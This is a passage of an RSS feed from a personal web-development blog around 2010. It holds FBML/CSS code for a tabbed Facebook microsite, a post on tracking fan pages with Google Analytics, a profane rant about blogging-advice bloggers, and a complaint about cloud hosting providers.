<p>As promised, here&#8217;s the exact code snippet, line by line, that was used to create the demo page.</p>
<pre class="brush: html">&lt;!-- let&#039;s set the style for those fancy buttons --&gt;
&lt;style type=&quot;text/css&quot;&gt;
.awesome, .awesome:visited {
	background: #222 url(http://www.snipe.net/wp-content/uploads/2009/10/alert-overlay.png) repeat-x;
	display: inline-block;
	padding: 5px 10px 6px;
	color: #fff;
	text-decoration: none;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.5);
	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.5);
	text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
	border-bottom: 1px solid rgba(0,0,0,0.25);
	position: relative;
	cursor: pointer;
}

.awesome:hover {
background-color: #111; color: #fff;
}

.awesome:active {
top: 1px;
}

.awesome, .awesome:visited, .medium.awesome, .medium.awesome:visited {
font-size: 13px;
font-weight: bold;
line-height: 1;
text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
background-color: #630030;
}

.large.awesome, .large.awesome:visited {
font-size: 14px;
padding: 8px 14px 9px;
}

h1 {
color: #a9014b; font-size: 26px;
}

p {
font-size: 15px;
}
&lt;/style&gt;

&lt;!-- Now set the main tab navigation --&gt;
&lt;strong&gt;&lt;a href=&quot;#&quot; clicktoshow=&quot;nav1&quot; clicktohide=&quot;nav2,nav3&quot; class=&quot;large awesome&quot;&gt;Home&lt;/a&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;a href=&quot;#&quot; clicktoshow=&quot;nav2&quot; clicktohide=&quot;nav1,nav3&quot; class=&quot;large awesome&quot;&gt;Demo Tab&lt;/a&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;a href=&quot;#&quot; clicktoshow=&quot;nav3&quot; clicktohide=&quot;nav1,nav2&quot; class=&quot;large awesome&quot;&gt;Locations&lt;/a&gt;&lt;/strong&gt;
&lt;br /&gt;
&lt;br /&gt;

&lt;!-- start the div for the first main nav tab - nav1 --&gt;
&lt;div id=&quot;nav1&quot;&gt;
	&lt;img src=&quot;http://www.snipe.net/wp-content/uploads/2009/10/alison-fixed1.jpg&quot; align=&quot;right&quot;/&gt;
	&lt;h1&gt;Default Content &lt;/h1&gt;
	&lt;p&gt;Click on the &quot;Demo Tab&quot; above  to see an example of
	multi-level tabbing in a purely FBML microsite.
	With a little practice and patience, you could
	recreate a fairly large website using this method.
	(The content of these subnavs are quotes from
	Monty Python and the Holy Grail, for your entertainment.)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- end the div for the first main nav tab - nav1 --&gt;

&lt;!-- start the div for the second main nav tab - nav2 --&gt;
&lt;div id=&quot;nav2&quot; style=&quot;display: none;&quot;&gt;
	&lt;h1&gt;Example Tabbed Subnav in Microsite&lt;/h1&gt;
	&lt;hr /&gt;
	&lt;strong&gt;&lt;a href=&quot;#&quot; clicktoshow=&quot;tab2subnav1&quot; clicktohide=&quot;tab2subnav2,tab2subnav3&quot; class=&quot;medium awesome&quot;&gt;Subnav One&lt;/a&gt;&lt;/strong&gt;
	&lt;strong&gt;&lt;a href=&quot;#&quot; clicktoshow=&quot;tab2subnav2&quot; clicktohide=&quot;tab2subnav1,tab2subnav3&quot; class=&quot;medium awesome&quot;&gt;Subnav Two&lt;/a&gt;&lt;/strong&gt;
	&lt;strong&gt;&lt;a href=&quot;#&quot; clicktoshow=&quot;tab2subnav3&quot; clicktohide=&quot;tab2subnav1,tab2subnav2&quot; class=&quot;medium awesome&quot;&gt;Subnav Three&lt;/a&gt;&lt;/strong&gt;
	&lt;hr /&gt;
	&lt;br /&gt;

	&lt;!-- start the div for the first subnav tab - tab2subnav1 --&gt;
	&lt;div id=&quot;tab2subnav1&quot;&gt;
		&lt;p style=&quot;color: red; text-weight: bold;&quot;&gt;Hey, this
		is the content for &lt;strong&gt;Subnav One&lt;/strong&gt;!
		You can put photos, text, even videos in here.&lt;/p&gt;
		&lt;p&gt;Bravely bold Sir Robin rode forth from Camelot.
		He was not afraid to die, oh brave Sir Robin.
		He was not at all afraid to be killed in nasty ways,
		brave, brave, brave, brave Sir Robin.
		He was not in the least bit scared to be mashed
		into a pulp, or to have his eyes gouged out,
		and his elbows broken. To have his kneecaps
		split, and his body burned away, and his limbs
		all hacked and mangled, brave Sir Robin.
		His head smashed in and heart cut out, and his
		liver removed, and his bowels unplugged, and
		his nostrils raped and his bottom burned off and his penis... &lt;/p&gt;
	&lt;/div&gt;
	&lt;!-- end the div for the first subnav tab - tab2subnav1 --&gt;

	&lt;!-- start the div for the second subnav tab - tab2subnav2 --&gt;
	&lt;div id=&quot;tab2subnav2&quot; style=&quot;display: none;&quot;&gt;
		&lt;p style=&quot;color: blue; text-weight: bold;&quot;&gt;Hey,
		this is the content for &lt;strong&gt;Subnav Two&lt;/strong&gt;!
		You can put photos, text, even videos in here.&lt;/p&gt;
		&lt;p&gt;When I first came here, this was all swamp. Everyone
		said I was daft to build a castle on a swamp,
		but I built in all the same, just to show them. It sank
		into the swamp. So I built a second one.
		That sank into the swamp. So I built a third.
		That burned down, fell over, then sank into
		the swamp. But the fourth one stayed up. And that&#039;s
		what you&#039;re going to get, Lad, the strongest castle in
		all of England. &lt;/p&gt;
	&lt;/div&gt;
	&lt;!-- end the div for the second subnav tab - tab2subnav2 --&gt;

	&lt;!-- start the div for the third subnav tab - tab2subnav3 --&gt;
	&lt;div id=&quot;tab2subnav3&quot; style=&quot;display: none;&quot;&gt;
		&lt;p style=&quot;color: green; text-weight: bold;&quot;&gt;Hey,
		this is the content for &lt;strong&gt;Subnav Three&lt;/strong&gt;!
		You can put photos, text, even videos in here.&lt;/p&gt;
		&lt;p&gt;Follow. But. Follow only if ye be men of valour,
		for the entrance to this cave is guarded by a
		creature so foul, so cruel that no man yet has fought
		with it and lived. Bones of full fifty men
		lie strewn about its lair. So, brave knights, if you
		do doubt your courage or your strength,
		come no further, for death awaits you all with
		nasty, big, pointy teeth. &lt;/p&gt;
	&lt;/div&gt;
	&lt;!-- end the div for the third subnav tab - tab2subnav3 --&gt;
&lt;/div&gt;
&lt;!-- end the div for the second main nav tab - nav2 --&gt;

&lt;!-- start the div for the third main nav tab - nav3 --&gt;
&lt;div id=&quot;nav3&quot; style=&quot;display: none;&quot;&gt;
	&lt;img src=&quot;http://www.snipe.net/wp-content/uploads/2009/10/alison-grr.jpg&quot; align=&quot;right&quot;/&gt;
	&lt;h1&gt;Locations&lt;/h1&gt;
	&lt;p&gt;This is the locations &quot;page&quot;. You can put text, images, even video here.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- end the div for the third main nav tab - nav3 --&gt;</pre>
<p>The above is the <em>exact</em> code snippet I used to create that demo page, specifically. (In other words, please don&#8217;t email or comment asking me for the source. This is ALL there is, including the yummy button styling.)</p>
<p>As long as you properly nest your divs (and use valid HTML with no wonky or open tags), this will work every single time. The names of the divs don&#8217;t matter, as long as they match the clicktohide/clicktoshow div names you&#8217;re specifying in the nav. </p>
<p>If it doesn&#8217;t work when you try it, and you&#8217;re 100% sure you copy+pasted exactly from this tutorial, try again later. Sometimes Facebook has issues, and the only way to work around it is to wait until they&#8217;re not having issues.</p>
<p>I&#8217;d like to once again remind you that you&#8217;re not at all restricted to using the clicktohide and clicktoshow functions in the way I&#8217;ve outlined them here. My goal isn&#8217;t to show you the only things that are possible , but rather to get you familiar with the concepts so that you can use your own imagination and apply them in unique and exciting ways. </p>
<p>If you&#8217;ve done something cool with clcicktohide/clicktoshow (and let&#8217;s not forget clicktotoggle from the last tutorial), make sure you drop a link in the comments. I love to see what other people are working on. It makes my own raging Facebook development Hell a little easier to bear.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/10/mini-site-facebook-static-fbml/' rel='bookmark' title='Permanent Link: Extending Facebook Static FBML Tabs with Dynamic Content'>Extending Facebook Static FBML Tabs with Dynamic Content</a> <small>This tutorial walks you through how to use DynamicFBML to...</small></li>
<li><a href='http://www.snipe.net/2009/06/fb-fanpages-fbml-box/' rel='bookmark' title='Permanent Link: Static FBML: Not Every Facebook Fan Page Needs An Application'>Static FBML: Not Every Facebook Fan Page Needs An Application</a> <small>You don&#8217;t always need a custom application for your Facebook...</small></li>
<li><a href='http://www.snipe.net/2006/06/creating-a-multi-level-listbox-in-phpmysql/' rel='bookmark' title='Permanent Link: Creating a Multi-Level Listbox in PHP/mySQL'>Creating a Multi-Level Listbox in PHP/mySQL</a> <small>This lets you create a nested multi-level category menu through...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/05/static-fbml-microsite-next-level/feed/</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
		<item>
		<title>Using Google Analytics on Facebook Fan Pages</title>
		<link>http://www.snipe.net/2010/04/google-analytics-on-facebook-fan-pages/</link>
		<comments>http://www.snipe.net/2010/04/google-analytics-on-facebook-fan-pages/#comments</comments>
		<pubDate>Sat, 10 Apr 2010 19:56:17 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook fan pages]]></category>
		<category><![CDATA[metrics]]></category>
		<category><![CDATA[reporting]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=3008</guid>
		<description><![CDATA[Can you use Google Analytics on Facebook fan pages and fan page walls? You betcher sweet ass you can. If you&#8217;ve ever created a Facebook fan page, you&#8217;ve probably realized that the &#8220;reporting&#8221; that Facebook provides is basically useless. Because Facebook limits the Javascript you can use on Fan Pages, you cannot implement your own [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F04%2Fgoogle-analytics-on-facebook-fan-pages%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F04%2Fgoogle-analytics-on-facebook-fan-pages%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Can you use Google Analytics on Facebook fan pages and fan page walls? You betcher sweet ass you can.</p>
<p><span id="more-3008"></span></p>
<p>If you&#8217;ve ever created a Facebook fan page, you&#8217;ve probably realized  that the &#8220;reporting&#8221; that Facebook provides is basically useless. Because Facebook limits the Javascript you can use on Fan Pages, you  cannot implement your own analytics packages on fan pages. Or at least, that&#8217;s what they want you to believe.</p>
<p>For Facebook applications, there is an FBML tag that will allow you <a href="http://wiki.developers.facebook.com/index.php/Fb:google-analytics" target="_blank">place your Google Analytics code on the canvas page</a> &#8211; but <strong>this FBML will not work on fan pages, application tabs, or <em>anywhere</em> other than the canvas page</strong>.</p>
<p>Fortunately, implementing Google Analytics on your Facebook fan page is possible, with a little PHP trickery. The basic gist of the workaround is to include your Google Analytics code as an image instead of placing the javascript into the FBML code.</p>
<p>Rather than writing something from scratch, it makes more sense to direct you to <a href="http://www.webdigi.co.uk/blog/2010/google-analytics-for-facebook-fan-pages/" target="_blank">a post on the Webdigi blog</a> that offers a free set of PHP scripts that will let you do exactly that.</p>
<p>The long and short of what the guys over at Webdigi are doing with their scripts is simply to call a PHP script instead of an actual image file in the &lt;img src&gt; code. This is not unlike the &#8220;tracking pixels&#8221; that are often used in email newsletters, since Javascript is not an option there either. So the concept isn&#8217;t new, but it&#8217;s not common knowledge that it works on Facebook.</p>
<p>The PHP script they are calling contains the Google Analytics code, and accepts parameters so that you can re-use the script on multiple fan pages (or different pages in an application) simply by setting different parameters.</p>
<p>When your Static FBML tab, application tab or non-canvas app page loads, it loads that &#8220;image&#8221; as part of the page. That &#8220;image&#8221; then pings the PHP script, which pings Google Analytics. This could be adapted for other reporting systems as well, using the same concepts.</p>
<p>The guys do a nice job with their script, and they even offer a <a href="http://ga.webdigi.co.uk/" target="_blank">wizard</a> that helps you figure out what you need to put where.</p>
<p>I had rigged up a script a few months ago, but I never really had the  time to package it for the general public, make it easy to configure,  and so on, so go ahead and check out their script package.</p>
<p>Using this method, you’ll even be able to <strong>set up funnels and goals</strong> for your Facebook fan page stats, and Webdigi offers a great breakdown  on how to<strong> <a href="http://www.webdigi.co.uk/blog/2010/tracking-user-engagement-on-facebook-fan-pages/" target="_blank">tell the difference between fan and non-fan activity</a></strong> on your fan pages in your reporting.</p>
<p>Enjoy!</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/06/fb-fanpages-fbml-box/' rel='bookmark' title='Permanent Link: Static FBML: Not Every Facebook Fan Page Needs An Application'>Static FBML: Not Every Facebook Fan Page Needs An Application</a> <small>You don&#8217;t always need a custom application for your Facebook...</small></li>
<li><a href='http://www.snipe.net/2008/11/let-me-google-that-for-you/' rel='bookmark' title='Permanent Link: No, No &#8211; Let Me Google That For You'>No, No &#8211; Let Me Google That For You</a> <small>Have you ever had someone ask you the answer to...</small></li>
<li><a href='http://www.snipe.net/2008/06/compare-website-stats-using-google-trends/' rel='bookmark' title='Permanent Link: Compare Website Stats Using Google Trends'>Compare Website Stats Using Google Trends</a> <small>Google Trends has a newly-added ability to show unique visitor...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/04/google-analytics-on-facebook-fan-pages/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Why I Hate Bloggers That Give Blogging Advice</title>
		<link>http://www.snipe.net/2010/04/why-i-hate-blogging-advice/</link>
		<comments>http://www.snipe.net/2010/04/why-i-hate-blogging-advice/#comments</comments>
		<pubDate>Thu, 08 Apr 2010 03:42:49 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[advice]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[common sense]]></category>
		<category><![CDATA[idiots]]></category>
		<category><![CDATA[marketing]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2988</guid>
		<description><![CDATA[Let me start off by saying that this blog post is not meant as advice. Because if it were advice, the sheer magnitude of my hypocrisy would create a tear in the space-time continuum, and we&#8217;d all die. And while I&#8217;m all for causing the downfall of humanity, it&#8217;s not the right time. Yet. Maybe [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F04%2Fwhy-i-hate-blogging-advice%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F04%2Fwhy-i-hate-blogging-advice%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Let me start off by saying that this blog post is not meant as advice. Because if it <em>were</em> advice, the sheer magnitude of my hypocrisy would create a tear in the space-time continuum, and we&#8217;d all die. And while I&#8217;m all for causing the downfall of humanity, it&#8217;s not the right time. Yet.</p>
<p><span id="more-2988"></span>Maybe it&#8217;s just me, but it sure seems like 95% of the blogs out there are complete and utter shit, although not for the reasons you probably think I mean. I&#8217;m not even counting blogs that have original-but-stupid ideas and opinions. I&#8217;m talking specifically about the blogs that have created an entire following around giving people advice that isn&#8217;t really advice.</p>
<p>&#8220;If you want to get more customers, you have to get their attention first!&#8221; No shit, sherlock.</p>
<p>&#8220;If you want to convert users to customers, you have to give them something of value.&#8221; Thanks, Captain Obvious.</p>
<p>&#8220;If you want to build your blog readership, write about what you know.&#8221;</p>
<p>Are you fucking kidding me? Seriously?  (And don&#8217;t even get me started on the search engine optimization people.)</p>
<p>I would rather read a blog that I patently disagree with, whose ideas are completely idiotic, than to read a blog that can&#8217;t manage a single fucking original thought once in a while. Even if you can&#8217;t be right, at least be <em>original</em> for fuck&#8217;s sake.</p>
<p>Blogging has turned into a festering cesspool of people who are exalted as brilliant because they say exactly what people already know. &#8220;Wow &#8211; I couldn&#8217;t agree more! He&#8217;s so smart!&#8221;</p>
<p>And that&#8217;s why it works. People like to feel smart, so when others post something they agree with, they feel good that their completely obvious idea has been validated by someone else. Nevermind the fact that it was validated by someone else because it&#8217;s COMMON FUCKING SENSE. It&#8217;s like watching an episode of Crossing Over with John Edwards. &#8220;I&#8217;m sensing a name that starts with J&#8230;. John&#8230; James&#8230; Jerry&#8230; &#8221;</p>
<p>If the people reading these blogs actually feel like they have stumbled across some hidden nugget of wisdom, they should probably reconsider a career in marketing and start thinking about one that involves a name tag, and memorizing the phrase &#8220;Do you want fries with that?&#8221;</p>
<p>The only thing that annoys me more than the people who post this drivel are the thousands of people who don&#8217;t realize that they are seriously overestimating their own potential, and who only encourage bloggers to post more of this crap by telling them how wise they are.</p>
<p>That, and the irony of these bloggers telling people they need to be original and offer something of value in order to be successful.</p>
<p>It&#8217;s created this vile, retarded Ouroboros and it pisses me off.</p>
<p>People have made a career out of telling people what they already know because those people need and desire to be told what they already know. To that effect, I suppose they actually have at least taken their own advice. So that&#8217;s something. I guess. It&#8217;s become an insidious self-fulfilling prophesy. Jackholes who overstate the obvious become known for their wisdom by the dipshits who only think they&#8217;re wise because it wasn&#8217;t obvious to them.</p>
<p>Seriously, people. The very best marketers out there are the ones who understand human nature. They understand what makes people feel good, their selfish and petty motivations, their fears. They understand people, and it comes naturally to them.</p>
<p>If you&#8217;re not one of those people, find a new fucking career. And for the love of GOD stop blogging.</p>
<p>And stop reading blogs that try to convince you that you&#8217;re something more than the utterly average human being you really are. You will never be more than second-rate at your very, very best. On your very best day, you will be about as good at your job as a first year intern. Maybe. If you&#8217;re lucky. And if the intern is really high most of the time.</p>
<p>There&#8217;s no shame in admitting that marketing doesn&#8217;t come naturally to you. And if you&#8217;re really dead-set on this as your career path, spend your time reading psychology books, not blog posts by people who are no more qualified to be giving advice than you are. When you understand what motivates people, for good or evil, you become good at marketing. Whether you want to be or not.</p>
<p>If you need someone to tell you that social media only works when you are *social*, you&#8217;re a moron. If you believe that anyone who is telling you that you need to create fresh ideas with original thought is actually original or fresh, you&#8217;re a moron. And frankly, you deserve each other.</p>
<p>Put down the kool-aid, and go back to doing whatever the fuck it was you were doing for a living before the barrier to entry on the internet became low enough to let you start a blog.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2008/06/my-favorite-blogging-tools/' rel='bookmark' title='Permanent Link: My favorite blogging tools'>My favorite blogging tools</a> <small>With all the social networks out there, how do you...</small></li>
<li><a href='http://www.snipe.net/2008/08/using-twitter-for-business/' rel='bookmark' title='Permanent Link: Using Twitter for Business?'>Using Twitter for Business?</a> <small>Two interesting articles have come out recently, discussing tips and...</small></li>
<li><a href='http://www.snipe.net/2008/12/facebook-connect-a-more-authentic-web-or-loss-of-privacy/' rel='bookmark' title='Permanent Link: Facebook Connect &#8211; a More Authentic Web, Or Loss of Privacy?'>Facebook Connect &#8211; a More Authentic Web, Or Loss of Privacy?</a> <small>Facebook recently launched their new Facebook Connect API, which extends...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/04/why-i-hate-blogging-advice/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
		</item>
		<item>
		<title>The Cloud is a Lie</title>
		<link>http://www.snipe.net/2010/03/the-cloud-is-a-lie/</link>
		<comments>http://www.snipe.net/2010/03/the-cloud-is-a-lie/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 15:24:45 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[cloud hosting]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[media temple]]></category>
		<category><![CDATA[rackspace]]></category>
		<category><![CDATA[vps]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2934</guid>
		<description><![CDATA[Okay, the cloud (or grid or whatever they&#8217;re calling it now) isn&#8217;t exactly a lie, but at least on a retail level, it hasn&#8217;t held up to the hype. This is not going to be an overly technical article, mostly because I&#8217;m tired. I expect to get some nasty comments because I&#8217;m not citing specifics. [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F03%2Fthe-cloud-is-a-lie%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F03%2Fthe-cloud-is-a-lie%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Okay, the cloud (or grid or whatever they&#8217;re calling it now) isn&#8217;t exactly a lie, but at least on a retail level, it hasn&#8217;t held up to the hype.<br />
<span id="more-2934"></span><br />
This is not going to be an overly technical article, mostly because I&#8217;m tired. I expect to get some nasty comments because I&#8217;m not citing specifics. Luckily for me, I have a thick skin. It&#8217;s more of a lament than anything else. I don&#8217;t even have the energy for a full-blown rant.</p>
<p>The grid/cloud &#8211; I&#8217;ll call it the groud for now &#8211; promises so much, and yet always seems to fall short, regardless of the provider.</p>
<p>I switched over to Rackspace Cloud Sites in <a href="http://www.snipe.net/2009/01/moving-to-mosso/">January of last year</a>.  My motivation was not to get onto the zomgweb2point0cloudbbq, but it was the first Rackspace product that fit within my budget, and they had such a good reputation in the industry, it was worth a shot.</p>
<p>Overall, the service has been alright. MySQL failures about once a week on average, more often on bad weeks. They usually don&#8217;t last long, but they&#8217;re frequent enough to make me reconsider recommending them to the company I work for for hosting client projects. The &#8220;could not find a suitable node&#8221; problems are far less prevelant now than when I frst signed up, but many of my sites still seem sluggish, specifically WordPress sites. I have heard the same about sites running some of the other large open source projects, but I don&#8217;t run Joomla or Drupal, so I can&#8217;t speak to that.</p>
<p>By all accounts, Rackspace is a fantastic hosting company with spectacularly reliable service. Except for their cloud product. MySQL performance has consistently been poor and the source of performance bottlenecks. Their control doesn&#8217;t let you break down CPU usage (which directly impacts your monthly bill) by account, by script, by anything at all, actually, so your monthly bill ends up being somewhat of a mystery. To their credit, their team has worked with me personally to try to isolate any performance issues that could be optimized, but without one-on-one hand-holding, it&#8217;s a bit of a black box. Alarmingly, if your CPU usage starts to trend over what is covered by your monthly allotment covered in your fee, they don&#8217;t even email you to give you a heads up. You just get a lovely surprise at the beginning of your next billing cycle. My first month on their cloud, my hosting bill was more than twice the then-$100 monthly fee, based on my CPU overages, and I hadn&#8217;t received a single email. In fact, I don&#8217;t receive any billing emails at all. The only way I know how much I&#8217;ve paid for hosting is by looking at my bill. (I want to say in the beginning they did email me a warning or an invoice, but I haven&#8217;t received one in many months.) The funny thing is, I&#8217;d pay $200 a month if I&#8217;m getting what I need.</p>
<p>I started investigating Media Temple&#8217;s grid hosting, since I had heard so many good things about them. Unlike Rackspace Cloud Sites, they offer SSH and Subversion access and several features that are closer to a more traditional virtual hosting environment, with the cloud&#8217;s promise of scalability and performance. Another attractive feature they offer is the ability to add a MySQL container that takes your MySQL off the shared environment, so you have far more resources available to your database &#8211; a great idea for database-heavy applications. It seemed like the perfect solution.</p>
<p>Upon further investigation, colleagues who have tried Media Temple&#8217;s Grid Hosting services have largely been disappointed. Like Mosso/Rackspace Cloud, they are far more stable now than they were, but the same problems seem to come up. Latency (even with the MySQL container in many cases) and poor MySQL performance are cited thousands of times in forum posts and reviews. Media Temple, like Rackspace, is a well-respected company whose image is being tarnished by the inability for the groud to live up to the promises.</p>
<p>I fully understand that every single hosting company on the planet is going to have negative comments and reviews &#8211; any company that doesn&#8217;t is probably too good to be true. I also fully understand that most people only post comments and reviews when they&#8217;re pissed off, which can color the perception of onlookers. There have been positive reviews of both companies&#8217; groud products, just not that many.</p>
<p>Part of my frustration comes from how these two companies (and I would assume many others) address the complaints of latency. When confronted with benchmarks, their answer is always that you can improve performance by optimizing your site. Obviously, you should always strive to optimize your site, that&#8217;s a no-brainer. But the reality seems to be that (for example) a barebones WordPress install with zero plugins and stock theme consistently runs significantly slower in the groud environment &#8211; at least with these two vendors &#8211; and their response to customers pointing this out is that they have to optimize. </p>
<p>I&#8217;m sorry, but that&#8217;s bullshit. If you&#8217;re promising scalability, you should be able to match the performance that any run-of-the-mill virtual host can provide at the very least. Scalability and performance is THE selling point for groud hosting, and yet that seems to be the area that all of the big providers fall woefully short with. If you&#8217;re offering groud and you don&#8217;t have performance/scalability, what the fuck is the point, exactly? And the kicker is that for a lot of the big guys, you can&#8217;t even GET a non-groud account these days. Everybody drank the fucking kool-aid.</p>
<p>Before you jump down my throat and tell me to get a VPS or dedicated server, let me stop you right there. I had one. I had one for years, starting with a dedicated server at a hosting company 12 years ago, to the one I bought the hardware for we built that shit from the ground up. But I&#8217;m a busy person, and I just don&#8217;t have the time to be a sysadmin on top of a developer, an information architect, a commuter, an activist, and all of the other things that I do. I specifically switched off my dedicated server to release myself from the headache that comes with to maintain a server. And frankly, if you don&#8217;t use it, you lose it. I haven&#8217;t had to do a lot of sysadmin work in the past year, and I&#8217;ve already forgotten a lot, a fact I was made painfully aware of this when setting up CentOS last night on Slicehost.</p>
<p>I am a firm believer that unlike, say a designer, you cannot be a good sysadmin if you&#8217;re only part-time. There&#8217;s too much to stay on top of, too many security issues, too many patches. Security itself is a full-time job and the bad guys still manage to get into even reasonably well-secured servers. So I&#8217;m not about to be a part-time sysadmin.</p>
<p>All of the large name companies with the best reputations offer more expensive dedicated/VPS servers, or groud &#8211; nothing in between anymore. Everyone&#8217;s version of &#8220;managed&#8221; services is now the groud. There are others that still offer traditional virtual hosting, but they&#8217;re not the kinds of companies that instill confidence with clients &#8211; or they charge by website, which quickly adds up when you have as many as I do. I ask my colleagues who they&#8217;re using, and invariably they&#8217;re unhappy with their hosting company, or they&#8217;re using a service/package that isn&#8217;t the right fit.</p>
<p>I&#8217;m just tired of having to do this research again every few years. I want to be in a hosting environment that I love and that I can recommend to everyone I meet, and I have never, not once in 15 years, been there. I&#8217;m exhausted by the disappointment, and by never managing to find the right fit. I don&#8217;t know the guys at Media Temple that well yet. I know the guys at Rackspace very well &#8211; I&#8217;m sure they have bullseyes with my face all over their office. I adore the people at Rackspace and so desperately want this to work, but every time it seems to stabilize to the point where I could recommend them to my company as an option, MySQL goes down again. It&#8217;s 2010 &#8211; how am I still in the same situation I was in a decade ago? How is there nothing for the customer who needs a managed environment that scales well and doesn&#8217;t have $1000 to throw at a managed dedicated server? It&#8217;s either ghetto or enterprise, nothing in between. Has no one fllled that hole? FILL MY HOLE!</p>
<p>Now then, with that off my chest, let the snipe-bashing commence&#8230;. Tell me I&#8217;m lazy for not managing my own server. Tell me I&#8217;m cheap for not wanting to spend half a mortgage payment on a server that hosts 95% very low traffic static sites and 5% high traffic sites. I know I&#8217;m not the only one in this situation. I suspect I&#8217;m just one of the first to say it out loud, since the cloud is the in thing right now.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/' rel='bookmark' title='Permanent Link: An Open Letter to Rackspace Cloud Hosting'>An Open Letter to Rackspace Cloud Hosting</a> <small>I just received an automated email from Rackspace that made...</small></li>
<li><a href='http://www.snipe.net/2009/01/moving-to-mosso/' rel='bookmark' title='Permanent Link: Moving to Mosso'>Moving to Mosso</a> <small>I am in the process of migrating all 200 domain...</small></li>
<li><a href='http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/' rel='bookmark' title='Permanent Link: Cheap or Free Website Status Monitoring'>Cheap or Free Website Status Monitoring</a> <small>Its a call you never, ever want to get. &#8220;My...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/03/the-cloud-is-a-lie/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Sexy, Cheap and Easy: Not Your Mom, Your Wireframes</title>
		<link>http://www.snipe.net/2010/02/wireframes/</link>
		<comments>http://www.snipe.net/2010/02/wireframes/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 20:51:22 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Adobe AIR]]></category>
		<category><![CDATA[application development]]></category>
		<category><![CDATA[best practices]]></category>
		<category><![CDATA[iplotz]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[wireframes]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2867</guid>
		<description><![CDATA[I&#8217;m a planning whore. It&#8217;s true. I&#8217;m one of those weirdos that really enjoys creating data flows, use cases, wireframes, and functional requirements documents. My bizarre predalictions aside, wireframes are a critical part of planning any website or web based application. Spending the time to plan your project out well at the very beginning may [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F02%2Fwireframes%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F02%2Fwireframes%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>I&#8217;m a planning whore. It&#8217;s true. I&#8217;m one of those weirdos that really enjoys creating data flows, use cases, wireframes, and functional requirements documents. My bizarre predalictions aside, wireframes are a critical part of planning any website or web based application.<br />
